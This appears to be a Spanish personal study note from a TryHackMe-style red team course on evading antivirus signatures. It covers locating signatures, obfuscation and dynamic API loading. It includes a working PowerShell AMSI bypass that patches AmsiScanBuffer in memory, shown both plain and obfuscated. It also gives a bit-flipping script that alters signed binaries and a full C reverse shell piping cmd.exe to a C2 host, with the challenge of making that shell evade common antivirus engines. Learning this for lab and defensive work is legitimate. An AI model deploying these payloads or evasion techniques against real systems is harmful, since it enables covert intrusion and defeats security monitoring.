notes - b0ySie7e
GithubPortafolioWrite-ups
  • 👋Bienvenido a mi blog
  • Introducción a la ciberseguridad
    • 📓¿Como inicio en la ciberseguridad?
  • Teoria y Conceptos
    • 📓Redes
      • Identificación de Dispositivos
      • Local Area Network (LAN)
      • Sub redes
      • Procolo ARP
      • Protocolo DHCP
    • 📓Pentesting
      • OSSTMM
      • OWASP
      • NCSC CAF
  • Sistemas Operativos
    • Linux
      • Comandos
    • Windows
      • Comandos
  • Enumeración
    • Enumeracion de red
      • Enumeracion de Hosts
      • Enumeracion de Puertos y servicios
    • FootPrinting
      • Domain Information
      • FTP
      • SMB
      • NFS
      • DNS
      • SMTP
      • IMAP-POP3
      • SNMP
      • MySQL
      • MSSQL
      • Oracle TNS
      • IPMI
      • Linux Remote Management Protocols
      • Windows Remote Management Protocols
    • Enumeración web
      • Uso de google dorks
      • Whois
      • Dig
      • Enumeraciónde subdominios
      • Enumeración automatizada
  • Hacking Web
    • Ataques Comunes
      • Fuzzing
      • Sub dominios
      • SQL Injection
      • Cross-Site Scripting
      • Local File Inclusion
      • Remote File Inclusion
      • File Upload Attacks
      • Command Injections
    • Otras explotaciones
  • Escalada de Privilegios
    • 📕Linux
      • Enumeración automatizada - Tools
      • Kernel Exploit
      • Sudo
      • SUID
      • Capabilities
      • Cron Jobs
      • Path
      • NFS
    • 📕Windows
      • Enumeración automatizada - Tools
      • Harvesting Passwords from Usual Spots
      • Other Quick Wins
      • Abusing Service Misconfigurations
      • Abusing dangerous privileges
      • Abusing vulnerable software
  • Guias y Herramientas
    • Git
    • Buffer Over Flow
    • MetaSploit
      • Introducción
      • Modules
      • Targets
      • Payloads
      • Encoders
      • Sessions
    • Nmap
    • Pivoting Tunneling Port Forwarning
      • Port Forwarding SSH
      • Pivoting Metasploit
      • Socat Redirection with a Reverse Shell
      • Socat Redirection with a Bind Shell
      • Others tools for pivoting
    • Transferencias de Archivos
      • Evading Detection
      • Linux File Transfer Methods
      • Miscellaneous File Transfer Methods
      • Transferring Files with Code
      • Windows File Transfer Methods
      • Otros
        • Usando ICMP
        • Usando ncat y tar
    • Shell y Payloads
      • Spawning shell interactiva
      • Conexión de RDP
    • Password Attacks
      • Cracking
      • Windows Local Password Attacks
      • Linux Local Password Attacks
      • Windows Lateral Movement
    • Fortinet
      • Configuración estática de Firewall
      • Licencia
      • Configuración de interfaces
      • Primera política
      • Rutas estaticas
  • Red Team Path - THM
    • Enumeración
      • Linux
      • Windows
    • Movimiento lateral
      • Movimiento Lateral
    • Pivoting
      • PortForwarining y pivoting
    • Host Evasion
      • Windows Internal
      • Introduccion a Windows
      • Abusing Windows Internal
      • Introducción a Antivirus
      • AV Evasion ShellCode
      • Principios de Ofuscación
      • Evasión de Firmas
      • Bypass UAC
      • Runtime Detection Evasion
      • Evading Logging and Monitoring
      • Living Off the Land
    • Networking Security Evasión
      • Network Security Solutions
      • Firewalls
      • Sandbox Evasion
    • Comprometiendo un directorio activo
      • Active Directory Basics
      • Breaching Active Directory
      • Enumerating Active Directory
      • Exploiting Active Directory
      • Persisting Active Directory
      • Credentials Harvesting
Con tecnología de GitBook
En esta página
  • Signature Identification
  • Automating Signature Identification
  • Comprobación de amenazas
  • AMSITrigger
  • Static Code-Based Signatures
  • Métodos de ofuscación
  • Clases ofuscadoras
  • Dividir y fusionar objetos
  • Eliminar y ocultar información identificable
  • Static Property-Based Signatures
  • Hashes de archivos
  • entropía
  • Behavioral Signatures
  • Putting It All Together
  1. Red Team Path - THM
  2. Host Evasion

Evasión de Firmas

AnteriorPrincipios de OfuscaciónSiguienteBypass UAC

Última actualización hace 10 meses

Signature Identification

Antes de lanzarnos a romper firmas, debemos comprender e identificar lo que estamos buscando. Como se explica en , los motores antivirus utilizan firmas para rastrear e identificar posibles programas sospechosos y/o maliciosos. En esta tarea observaremos cómo podemos identificar manualmente un byte exacto donde comienza una firma.

Al identificar firmas, ya sea manual o automatizada, debemos emplear un proceso iterativo para determinar en qué byte comienza una firma. Al dividir recursivamente un binario compilado por la mitad y probarlo, podemos obtener una estimación aproximada de un rango de bytes para investigar más a fondo.

Podemos usar las utilidades nativas head, ddo splitpara dividir un binario compilado. En el siguiente símbolo del sistema, usaremos head para encontrar la primera firma presente en un binario msfvenom.

root@Pimpbuntu:/home/cry/TryHackMe# ls -la
total 12                                                                                                                                                        drwxr-xr-x  2 root root 4096 Jul 27 23:55
drwxr-x--- 17 cry  cry  4096 Jul 27 23:51 ..                                                                                                       
-rw-r--r--  1 root root   58 Jul 27 23:53 example.exe                                                                                       
root@Pimpbuntu:/home/cry/TryHackMe# head --bytes 29 example.exe > half.exe                                  
root@Pimpbuntu:/home/cry/TryHackMe# ls -la                                                                                            
total 16                                                                                                                                                        
drwxr-xr-x  2 root root 4096 Jul 27 23:56 .                                                                                                      
drwxr-x--- 17 cry  cry  4096 Jul 27 23:51 ..                                                                                                       
-rw-r--r--  1 root root   58 Jul 27 23:53 example.exe                                                                                       
-rw-r--r--  1 root root   29 Jul 27 23:56 half.exe                                                                                               
root@Pimpbuntu:/home/cry/TryHackMe#                                                                                                     exit

Una vez dividido, mueva el binario desde su entorno de desarrollo a una máquina con el motor antivirus en el que desea realizar la prueba. Si aparece una alerta, muévase a la mitad inferior del binario dividido y divídalo nuevamente. Si no aparece una alerta, vaya a la mitad superior del binario dividido y divídalo nuevamente. Continúe este patrón hasta que no pueda determinar adónde ir; Esto normalmente ocurrirá alrededor del rango de kilobytes.

Una vez que haya llegado al punto en el que ya no puede dividir con precisión el binario, puede utilizar un editor hexadecimal para ver el final del binario donde está presente la firma.

0000C2E0  43 68 6E E9 0A 00 00 00 0C 4D 1A 8E 04 3A E9 89  Chné.....M.Ž.:é‰
0000C2F0  67 6F BE 46 01 00 00 6A 40 90 68 00 10 00 00 E9  go¾F...j@.h....é
0000C300  0A 00 00 00 53 DF A1 7F 64 ED 40 73 4A 64 56 90  ....Sß¡.dí@sJdV.
0000C310  6A 00 68 58 A4 53 E5 E9 08 00 00 00 15 0D 69 B6  j.hX¤Såé......i¶
0000C320  F4 AB 1B 73 FF D5 E9 0A 00 00 00 7D 43 00 40 DB  ô«.sÿÕé....}C.@Û
0000C330  43 8B AC 55 82 89 C3 90 E9 08 00 00 00 E4 95 8E  C‹¬U‚‰Ã.é....䕎
0000C340  2C 06 AC 29 A3 89 C7 90 E9 0B 00 00 00 0B 32 AC  ,.¬)£‰Ç.é.....2¬

Tenemos la ubicación de una firma; qué tan legible sea para humanos estará determinado por la propia herramienta y el método de compilación.

Ahora… nadie quiere pasar horas yendo y viniendo tratando de localizar bytes defectuosos; ¡automaticémoslo! En la siguiente tarea, veremos algunas soluciones FOSS ( software gratuito y de código abierto ) que nos ayudarán a identificar firmas en el código compilado .

Automating Signature Identification

Buscar-AVFirma

PS C:\> . .\FInd-AVSignature.ps1 
PS C:\> Find-AVSignature 
cmdlet Find-AVSignature at command pipeline position 1 
Supply values for the following parameters: 
StartByte: 0 
EndByte: max 
Interval: 1000 
Do you want to continue? 
This script will result in 1 binaries being written to "C:\Users\TryHackMe"! 
[Y] Yes [N] No [S] Suspend [?] Help (default is "Y"): y

Este script alivia gran parte del trabajo manual, pero aún tiene varias limitaciones. Aunque requiere menos interacción que la tarea anterior, aún requiere establecer un intervalo adecuado para funcionar correctamente. Este script también observará únicamente cadenas del binario cuando se coloque en el disco en lugar de escanear utilizando la funcionalidad completa del motor antivirus.

Comprobación de amenazas

ThreatCheck es una bifurcación de DefenderCheck y es posiblemente el más utilizado y confiable de los tres. Para identificar posibles firmas, ThreatCheck aprovecha varios motores antivirus contra archivos binarios compilados divididos e informa donde cree que hay bytes defectuosos.

ThreatCheck no proporciona al público una versión precompilada. Para facilitar su uso, ya hemos compilado la herramienta para usted; se puede encontrar en C:\Users\Administrator\Desktop\Toolsla máquina adjunta.

A continuación se muestra el uso de sintaxis básica de ThreatCheck.

Menú de ayuda de ThreatCheck

C:\>ThreatCheck.exe --help
  -e, --engine    (Default: Defender) Scanning engine. Options: Defender, AMSI
  -f, --file      Analyze a file on disk
  -u, --url       Analyze a file from a URL
  --help          Display this help screen.
  --version       Display version information.

Para nuestros usos sólo necesitamos suministrar un archivo y opcionalmente un motor; sin embargo, principalmente querremos utilizar AMSITrigger cuando trabajemos con AMSI ( A nti- M alware S can Interface ), como veremos más adelante en esta tarea.

Comprobación de amenazas

C:\>ThreatCheck.exe -f Downloads\Grunt.bin -e AMSI
	[+] Target file size: 31744 bytes
	[+] Analyzing...
	[!] Identified end of bad bytes at offset 0x6D7A
	00000000   65 00 22 00 3A 00 22 00  7B 00 32 00 7D 00 22 00   e·"·:·"·{·2·}·"·
	00000010   2C 00 22 00 74 00 6F 00  6B 00 65 00 6E 00 22 00   ,·"·t·o·k·e·n·"·
	00000020   3A 00 7B 00 33 00 7D 00  7D 00 7D 00 00 43 7B 00   :·{·3·}·}·}··C{·
	00000030   7B 00 22 00 73 00 74 00  61 00 74 00 75 00 73 00   {·"·s·t·a·t·u·s·
	00000040   22 00 3A 00 22 00 7B 00  30 00 7D 00 22 00 2C 00   "·:·"·{·0·}·"·,·
	00000050   22 00 6F 00 75 00 74 00  70 00 75 00 74 00 22 00   "·o·u·t·p·u·t·"·
	00000060   3A 00 22 00 7B 00 31 00  7D 00 22 00 7D 00 7D 00   :·"·{·1·}·"·}·}·
	00000070   00 80 B3 7B 00 7B 00 22  00 47 00 55 00 49 00 44   ·?³{·{·"·G·U·I·D
	00000080   00 22 00 3A 00 22 00 7B  00 30 00 7D 00 22 00 2C   ·"·:·"·{·0·}·"·,
	00000090   00 22 00 54 00 79 00 70  00 65 00 22 00 3A 00 7B   ·"·T·y·p·e·"·:·{
	000000A0   00 31 00 7D 00 2C 00 22  00 4D 00 65 00 74 00 61   ·1·}·,·"·M·e·t·a
	000000B0   00 22 00 3A 00 22 00 7B  00 32 00 7D 00 22 00 2C   ·"·:·"·{·2·}·"·,
	000000C0   00 22 00 49 00 56 00 22  00 3A 00 22 00 7B 00 33   ·"·I·V·"·:·"·{·3
	000000D0   00 7D 00 22 00 2C 00 22  00 45 00 6E 00 63 00 72   ·}·"·,·"·E·n·c·r
	000000E0   00 79 00 70 00 74 00 65  00 64 00 4D 00 65 00 73   ·y·p·t·e·d·M·e·s
	000000F0   00 73 00 61 00 67 00 65  00 22 00 3A 00 22 00 7B   ·s·a·g·e·"·:·"·{

¡Es así de simple! No se requiere ninguna otra configuración o sintaxis y podemos pasar directamente a modificar nuestras herramientas. Para utilizar esta herramienta de manera eficiente, podemos identificar los bytes defectuosos que se descubren primero, luego dividirlos de forma recursiva y ejecutar la herramienta nuevamente hasta que no se identifiquen firmas.

Nota: Puede haber casos de falsos positivos, en los que la herramienta no informará bytes incorrectos. Esto requerirá de tu propia intuición para observar y resolver

AMSITrigger

AMSI Trigger aprovechará el motor AMSI y las funciones de escaneo contra un script de PowerShell proporcionado e informará cualquier sección específica de código sobre la que crea que debe recibir alertas.

AMSITrigger proporciona una versión precompilada en su GitHub y también se puede encontrar en el escritorio de la máquina adjunta.

A continuación se muestra el uso de sintaxis de AMSITrigger.

Menú de ayuda de AMSITrigger

C:\>amsitrigger.exe --help
	-i, --inputfile=VALUE       Powershell filename
	-u, --url=VALUE             URL eg. <https://10.1.1.1/Invoke-NinjaCopy.ps1>
	-f, --format=VALUE          Output Format:
	                              1 - Only show Triggers
	                              2 - Show Triggers with Line numbers
	                              3 - Show Triggers inline with code
	                              4 - Show AMSI calls (xmas tree mode)
	-d, --debug                 Show Debug Info
	-m, --maxsiglength=VALUE    Maximum signature Length to cater for,
	                              default=2048
	-c, --chunksize=VALUE       Chunk size to send to AMSIScanBuffer,
	                              default=4096
	-h, -?, --help              Show Help

Para nuestros usos sólo necesitamos proporcionar un archivo y el formato preferido para reportar firmas.

Ejemplo de activador AMSI

PS C:\> .\amsitrigger.exe -i bypass.ps1 -f 3 
[Ref].Assembly.GetType('System.Management.Automation. AmsiUtils ').GetField(' amsiInitFailed ','NonPublic,Static'). Establecer valor($nulo,$verdadero)

En la siguiente tarea, analizaremos cómo puede utilizar la información recopilada de estas herramientas para romper firmas.

Static Code-Based Signatures

Métodos de ofuscación

Método de ofuscación

Objetivo

Proxy de método(Method Proxy)

Crea un método proxy o un objeto de reemplazo.

Método de dispersión/agregación(Method Scattering/Aggregation)

Combine varios métodos en uno o disperse un método en varios

Clonar método(Method Clone)

Crear réplicas de un método y llamar aleatoriamente a cada una

Clases ofuscadoras

Método de ofuscación

Objetivo

Aplanamiento de la jerarquía de clases(Class Hierarchy Flattening)

Crear servidores proxy para clases usando interfaces

División/fusión de clases(Class Splitting/Coalescing)

Transferir variables locales o grupos de instrucciones a otra clase.

Eliminación de modificadores(Dropping Modifiers)

Eliminar modificadores de clase (público, privado) y hacer públicos a todos los miembros

Al observar las tablas anteriores, aunque pueden utilizar términos o ideas técnicas específicas, podemos agruparlas en un conjunto central de métodos agnósticos aplicables a cualquier objeto o estructura de datos.

Las técnicas de división/fusión de clases y dispersión /agregación de métodos se pueden agrupar en un concepto general de división o fusión de cualquier función POO (programación orientada a objetos ) determinada .

Otras técnicas, como eliminar modificadores o clonar métodos , se pueden agrupar en un concepto general de eliminar u ocultar información identificable.

Dividir y fusionar objetos

La premisa detrás de este concepto es relativamente fácil: buscamos crear una nueva función de objeto que pueda romper la firma manteniendo la funcionalidad anterior.

Cadena original

A continuación se muestra la cadena original que se detecta.

string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2},""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";

Método ofuscado

A continuación se muestra la nueva clase utilizada para reemplazar y concatenar la cadena.

public static string GetMessageFormat // Format the public method
{
    get // Return the property value
    {
        var sb = new StringBuilder(@"{{""GUID"":""{0}"","); // Start the built-in concatenation method
        sb.Append(@"""Type"":{1},"); // Append substrings onto the string
        sb.Append(@"""Meta"":""{2}"",");
        sb.Append(@"""IV"":""{3}"",");
        sb.Append(@"""EncryptedMessage"":""{4}"",");
        sb.Append(@"""HMAC"":""{5}""}}");
        return sb.ToString(); // Return the concatenated string to the class
    }
}

string MessageFormat = GetMessageFormat

Recapitulando este caso de estudio, la división de clases se utiliza para crear una nueva clase para concatenar la variable local. Cubriremos cómo reconocer cuándo utilizar un método específico más adelante en esta tarea y durante todo el desafío práctico.

Eliminar y ocultar información identificable

Un ejemplo de esto lo podemos encontrar en Mimikatz donde se genera una alerta para la cadena wdigest.dll. Esto se puede resolver reemplazando la cadena con cualquier identificador aleatorio modificado en todas las instancias de la cadena. Esto se puede clasificar en la taxonomía de ofuscación bajo la técnica de proxy del método.

Utilizando el conocimiento que ha acumulado a lo largo de esta tarea, oculte el siguiente fragmento de PowerShell utilizando AmsiTrigger para firmas visuales.

$MethodDefinition = "

    [DllImport(`"kernel32`")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport(`"kernel32`")]
    public static extern IntPtr GetModuleHandle(string lpModuleName);

    [DllImport(`"kernel32`")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
";

$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
$A = "AmsiScanBuffer"
$handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll');
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $A);
[UInt32]$Size = 0x5;
[UInt32]$ProtectFlag = 0x40;
[UInt32]$OldProtectFlag = 0;
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag);
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3); 

[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);
$MethodDefinition = “
[DllImport(`”kernel32`”)]  
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport(`”kernel32`”)]  
public static extern IntPtr GetModuleHandle(string lpModuleName);

[DllImport(`”kernel32`”)]  
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);  
“;

$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name ‘Kernel32’ -NameSpace ‘Win32’ -PassThru;  
$A = “Amsi’+’Scan’+’Buffer”  
$handle = [Win32.Kernel32]::GetModuleHandle(‘amsi.dll’);  
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $A);  
[UInt32]$Size = 0x5;  
[UInt32]$ProtectFlag = 0x40;  
[UInt32]$OldProtectFlag = 0;  
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag);  
$buf= New-Object byte[] 6  
$buf[0]=[UInt32]0xB8  
$buf[1]=[UInt32]0x57  
$buf[2]=[UInt32]0x00  
$buf[3]=[Uint32]0x07  
$buf[4]=[Uint32]0x80  
$buf[5]=[Uint32]0xc3  
[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);

Static Property-Based Signatures

Varios motores de detección o analistas pueden considerar diferentes indicadores en lugar de cadenas o firmas estáticas para contribuir a sus hipótesis. Las firmas se pueden adjuntar a varias propiedades de archivos, incluido el hash del archivo, la entropía , el autor, el nombre u otra información identificable para usar individualmente o en conjunto. Estas propiedades se utilizan a menudo en conjuntos de reglas como YARA o Sigma .

Algunas propiedades pueden manipularse fácilmente, mientras que otras pueden ser más difíciles, específicamente cuando se trata de aplicaciones de código cerrado precompiladas.

Esta tarea analizará la manipulación del hash de archivos y la entropía de aplicaciones de código abierto y cerrado.

Nota: varias otras propiedades, como encabezados PE o propiedades de módulo, se pueden utilizar como indicadores. Debido a que estas propiedades a menudo requieren un agente u otras medidas para detectarlas, no las cubriremos en esta sala para centrarnos en las firmas.


Hashes de archivos

Un hash de archivo , también conocido como suma de comprobación , se utiliza para etiquetar/identificar un archivo único. Se utilizan comúnmente para verificar la autenticidad de un archivo o su propósito conocido (malicioso o no). Los hashes de archivos generalmente son arbitrarios de modificar y se modifican debido a cualquier modificación del archivo.

Si tenemos acceso al código fuente de una aplicación, podemos modificar cualquier sección arbitraria del código y volver a compilarla para crear un nuevo hash. Esa solución es sencilla, pero ¿qué pasa si necesitamos una aplicación precompilada o firmada?

Cuando se trata de una aplicación firmada o de código cerrado, debemos emplear el cambio de bits .

El cambio de bits es un ataque criptográfico común que mutará una aplicación determinada volteando y probando cada bit posible hasta que encuentre un bit viable. Al invertir un bit viable, se cambiará la firma y el hash de la aplicación manteniendo todas las funciones.

Podemos usar un script para crear una lista de bits invertidos invirtiendo cada bit y creando una nueva variante mutada (~3000 - 200000 variantes). A continuación se muestra un ejemplo de una implementación de inversión de bits en Python.

import sys

orig = list(open(sys.argv[1], "rb").read())

i = 0
while i < len(orig):
	current = list(orig)
	current[i] = chr(ord(current[i]) ^ 0xde)
	path = "%d.exe" % i
	
	output = "".join(str(e) for e in current)
	open(path, "wb").write(output)
	i += 1
	
print("done")

Una vez creada la lista, debemos buscar propiedades únicas intactas del archivo. Por ejemplo, si estamos invirtiendo bits msbuild, debemos usar signtoolpara buscar un archivo con un certificado utilizable. Esto garantizará que la funcionalidad del archivo no se interrumpa y la aplicación mantendrá su atribución firmada.

Podemos aprovechar un script para recorrer la lista de bits invertidos y verificar variantes funcionales. A continuación se muestra un ejemplo de una implementación de script por lotes.

FOR /L %%A IN (1,1,10000) DO (
	signtool verify /v /a flipped\\%%A.exe
)

Esta técnica puede resultar muy lucrativa, aunque puede llevar mucho tiempo y sólo tendrá un periodo limitado hasta que se descubra el hash. A continuación se muestra una comparación de la aplicación MSBuild original y la variación de bits invertidos.

entropía

La entropía puede ser problemática para scripts ofuscados, específicamente cuando se oculta información identificable como variables o funciones.

Para reducir la entropía , podemos reemplazar los identificadores aleatorios con palabras en inglés seleccionadas al azar. Por ejemplo, podemos cambiar una variable deq234uf a nature.

A continuación se muestra la escala de entropía de Shannon para un párrafo estándar en inglés.

Entropía de Shannon : 4.587362034903882

A continuación se muestra la escala de entropía de Shannon para un script pequeño con identificadores aleatorios.

Entropía de Shannon : 5.341436973971389

Dependiendo del EDR empleado, un valor de entropía "sospechoso" es ~ mayor que 6,8 .

La diferencia entre un valor aleatorio y un texto en inglés se amplificará con un archivo más grande y más apariciones.

Tenga en cuenta que la entropía generalmente nunca se utilizará sola y sólo para respaldar una hipótesis. Por ejemplo, la entropía del comandopskill y el exploit hivennightmare son casi idénticas.

Para ver la entropía en acción, veamos cómo la usaría un EDR para contribuir a los indicadores de amenaza.

Behavioral Signatures

Ofuscar funciones y propiedades puede lograr mucho con una modificación mínima. Incluso después de romper las firmas estáticas adjuntas a un archivo, los motores modernos aún pueden observar el comportamiento y la funcionalidad del binario. Esto presenta numerosos problemas para los atacantes que no pueden resolverse con una simple ofuscación.

Antes de profundizar demasiado en la reescritura o importación de llamadas, analicemos cómo se utilizan e importan tradicionalmente las llamadas API . Primero cubriremos los lenguajes basados ​​en C y luego cubriremos brevemente los lenguajes basados ​​en .NET más adelante en esta tarea.

Las llamadas API y otras funciones nativas de un sistema operativo requieren un puntero a una dirección de función y una estructura para utilizarlas.

Las estructuras de funciones son simples; se encuentran en bibliotecas de importación como kernel32o ntdllque almacenan estructuras de funciones y otra información básica para Windows.

El problema más importante para las importaciones de funciones son las direcciones de funciones. Obtener un puntero puede parecer sencillo, aunque debido a ASLR ( Aleatorización del diseño del espacio de direcciones ), las direcciones de las funciones son dinámicas y deben encontrarse.

En lugar de alterar el código en tiempo de ejecución, se emplea el cargador de Windows . windows.hEn tiempo de ejecución, el cargador asignará todos los módulos para procesar el espacio de direcciones y enumerará todas las funciones de cada uno. Eso maneja los módulos, pero ¿cómo se asignan las direcciones de función?

Una de las funciones más críticas del cargador de Windows es la IAT ( tabla de direcciones de importación ). El IAT almacenará direcciones de funciones para todas las funciones importadas que puedan asignar un puntero a la función.

De un vistazo, a una API se le asigna un puntero a un procesador como dirección de función desde el cargador de Windows. Para hacer esto un poco más tangible, podemos observar un ejemplo del volcado PE de una función.

La tabla de importación puede proporcionar mucha información sobre la funcionalidad de un binario que puede ser perjudicial para un adversario. Pero, ¿cómo podemos evitar que nuestras funciones aparezcan en el IAT si se requiere asignar una dirección de función?

Como se mencionó brevemente, la tabla de procesadores no es la única forma de obtener un puntero para la dirección de una función. También podemos utilizar una llamada API para obtener la dirección de la función de la propia biblioteca de importación. Esta técnica se conoce como carga dinámica y se puede utilizar para evitar el IAT y minimizar el uso del cargador de Windows.

Escribiremos nuestras estructuras y crearemos nuevos nombres arbitrarios para funciones que empleen carga dinámica.

En un nivel alto, podemos dividir la carga dinámica en lenguajes C en cuatro pasos,

  1. Definir la estructura de la convocatoria.

  2. Obtenga el identificador del módulo en el que está presente la dirección de llamada

  3. Obtener la dirección del proceso de la llamada.

  4. Utilice la llamada recién creada

// 1. Define the structure of the call
typedef BOOL (WINAPI* myNotGetComputerNameA)(
	LPSTR   lpBuffer,
	LPDWORD nSize
);

Para acceder a la dirección de la llamada API , primero debemos cargar la biblioteca donde está definida. Definiremos esto en la función principal. Esto es comúnkernel32.dll o ntdll.dllpara cualquier llamada a la API de Windows . A continuación se muestra un ejemplo de la sintaxis necesaria para cargar una biblioteca en un identificador de módulo.

// 2. Obtain the handle of the module the call address is present in 
HMODULE hkernel32 = LoadLibraryA("kernel32.dll");

Usando el módulo previamente cargado, podemos obtener la dirección del proceso para la llamada API especificada . Esto vendrá inmediatamente después de la LoadLibraryllamada. Podemos almacenar esta llamada transmitiéndola junto con la estructura previamente definida. A continuación se muestra un ejemplo de la sintaxis necesaria para obtener la llamada API .

// 3. Obtain the process address of the call
myNotGetComputerNameA notGetComputerNameA = (myNotGetComputerNameA) GetProcAddress(hkernel32, "GetComputerNameA");

Aunque este método resuelve muchas inquietudes y problemas, todavía hay varias consideraciones que se deben tener en cuenta. En primer lugar, GetProcAddressy LoadLibraryAsiguen presentes en el IAT; aunque no es un indicador directo, puede generar sospechas o reforzarlas; Este problema se puede resolver usando PIC ( Código independiente de posición ) . Los agentes modernos también conectarán funciones específicas y monitorearán las interacciones del núcleo; Esto se puede resolver usando API desenganche .


Utilizando el conocimiento que ha acumulado a lo largo de esta tarea, oculte el siguiente fragmento de C, asegurándose de que no haya llamadas API sospechosas en el IAT.

#include <windows.h>
#include <stdio.h>
#include <lm.h>

int main() {
    printf("GetComputerNameA: 0x%p\\n", GetComputerNameA);
    CHAR hostName[260];
    DWORD hostNameLength = 260;
    if (GetComputerNameA(hostName, &hostNameLength)) {
        printf("hostname: %s\\n", hostName);
    }
}
#include<windows.h> 
#include <stdio.h> 
#include <lm.h> 
// 1. Define the structure of the call 
typedef  BOOL (WINAPI* myNotGetComputerNameA)( 
LPSTR lpBuffer,
LPDWORD nSize
); 

int main() {
// 2. Obtain the handle of the module the call address is present in
HMODULE hkernel32 = LoadLibraryA("kernel32.dll");
// 3. Obtain the process address of the call
myNotGetComputerNameA notGetComputerNameA = (myNotGetComputerNameA) GetProcAddress(hkernel32, "GetComputerNameA");

printf("GetComputerNameA: 0x%p\\n", GetComputerNameA);
CHAR hostName[260];
DWORD hostNameLength = 260;
	if (GetComputerNameA(hostName, &hostNameLength)) {
		printf("hostname: %s\\n", hostName);
	} 
}

Putting It All Together

Para crear una metodología más eficaz y fiable, podemos combinar varios de los métodos tratados en esta sala y en la anterior.

Al determinar en qué orden desea comenzar la ofuscación, considere el impacto de cada método. Por ejemplo, ¿es más fácil ofuscar una clase que ya está rota o es más fácil ofuscar una clase que está ofuscada?

Nota: En general, debe ejecutar la ofuscación automatizada o métodos de ofuscación menos específicos después de romper una firma específica; sin embargo, no necesitará esas técnicas para este desafío.

Teniendo en cuenta estas notas, modifique el binario proporcionado para cumplir con las especificaciones siguientes.

  1. No hay llamadas sospechosas a la biblioteca presentes

  2. No se han filtrado funciones ni nombres de variables.

  3. El hash del archivo es diferente al hash original

  4. Binary evita los motores antivirus comunes

Nota: Al considerar las llamadas a la biblioteca y las funciones filtradas, tenga en cuenta la tabla IAT y las cadenas de su binario.

#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <stdio.h>

#define DEFAULT_BUFLEN 1024

void RunShell(char* C2Server, int C2Port) {
        SOCKET mySocket;
        struct sockaddr_in addr;
        WSADATA version;
        WSAStartup(MAKEWORD(2,2), &version);
        mySocket = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
        addr.sin_family = AF_INET;

        addr.sin_addr.s_addr = inet_addr(C2Server);
        addr.sin_port = htons(C2Port);

        if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), 0, 0, 0, 0)==SOCKET_ERROR) {
            closesocket(mySocket);
            WSACleanup();
        } else {
            printf("Connected to %s:%d\\n", C2Server, C2Port);

            char Process[] = "cmd.exe";
            STARTUPINFO sinfo;
            PROCESS_INFORMATION pinfo;
            memset(&sinfo, 0, sizeof(sinfo));
            sinfo.cb = sizeof(sinfo);
            sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
            sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
            CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);

            printf("Process Created %lu\\n", pinfo.dwProcessId);

            WaitForSingleObject(pinfo.hProcess, INFINITE);
            CloseHandle(pinfo.hProcess);
            CloseHandle(pinfo.hThread);
        }
}

int main(int argc, char **argv) {
    if (argc == 3) {
        int port  = atoi(argv[2]);
        RunShell(argv[1], port);
    }
    else {
        char host[] = "10.10.10.10";
        int port = 53;
        RunShell(host, port);
    }
    return 0;
} 

Nota: También es esencial cambiar las variables C2Servery C2Porten la carga útil proporcionada o este desafío no funcionará correctamente y no recibirá un shell de vuelta.

Nota: Al compilar con GCC necesitarás agregar opciones de compilación para winsock2y ws2tcpip. Estas bibliotecas se pueden incluir utilizando los indicadores del compilador -lwsock32y-lws2_32

Si todavía está atascado, le proporcionamos un tutorial de la solución a continuación.


Para este desafío, se nos proporciona un binario que no creamos. Nuestro primer objetivo es familiarizarnos con el binario desde la perspectiva de la ingeniería inversa. ¿Hay firmas? ¿ Cómo es su estructura de PE ? ¿Hay alguna información crítica en el IAT?

Si ejecuta el binario con ThreatCheck o una herramienta similar, notará que actualmente no tiene detecciones, por lo que podemos continuar con eso.

Si inspecciona la tabla IAT de binarios como se explicó en la tarea 6, notará que hay aproximadamente siete llamadas API únicas que podrían indicar los objetivos de este binario.

Revisaremos cómo llamar dinámicamente a una llamada API y luego esperaremos que reitere los pasos para el resto de las llamadas.

int WSAAPI WSAConnect(
  [in]  SOCKET         s,
  [in]  const sockaddr *name,
  [in]  int            namelen,
  [in]  LPWSABUF       lpCallerData,
  [out] LPWSABUF       lpCalleeData,
  [in]  LPQOS          lpSQOS,
  [in]  LPQOS          lpGQOS
);

Ahora podemos reescribir esto para cumplir con los requisitos de una definición de estructura.

typedef int(WSAAPI* WSACONNECT)(SOCKET s,const struct sockaddr *name,int namelen,LPWSABUF lpCallerData,LPWSABUF lpCalleeData,LPQOS lpSQOS,LPQOS lpGQOS);

Ahora necesitamos importar la biblioteca en la que están almacenadas las llamadas. Esto solo debe ocurrir una vez ya que todas las llamadas usan la misma biblioteca.

HMODULE hws2_32 = LoadLibraryW(L"ws2_32");

Para utilizar la llamada API , debemos obtener el puntero a la dirección.

WSACONNECT myWSAConnect = (WSACONNECT) GetProcAddress(hws2_32, "WSAConnect");

Una vez obtenido el puntero, podemos cambiar todas las apariciones de la llamada API con nuestro nuevo puntero.

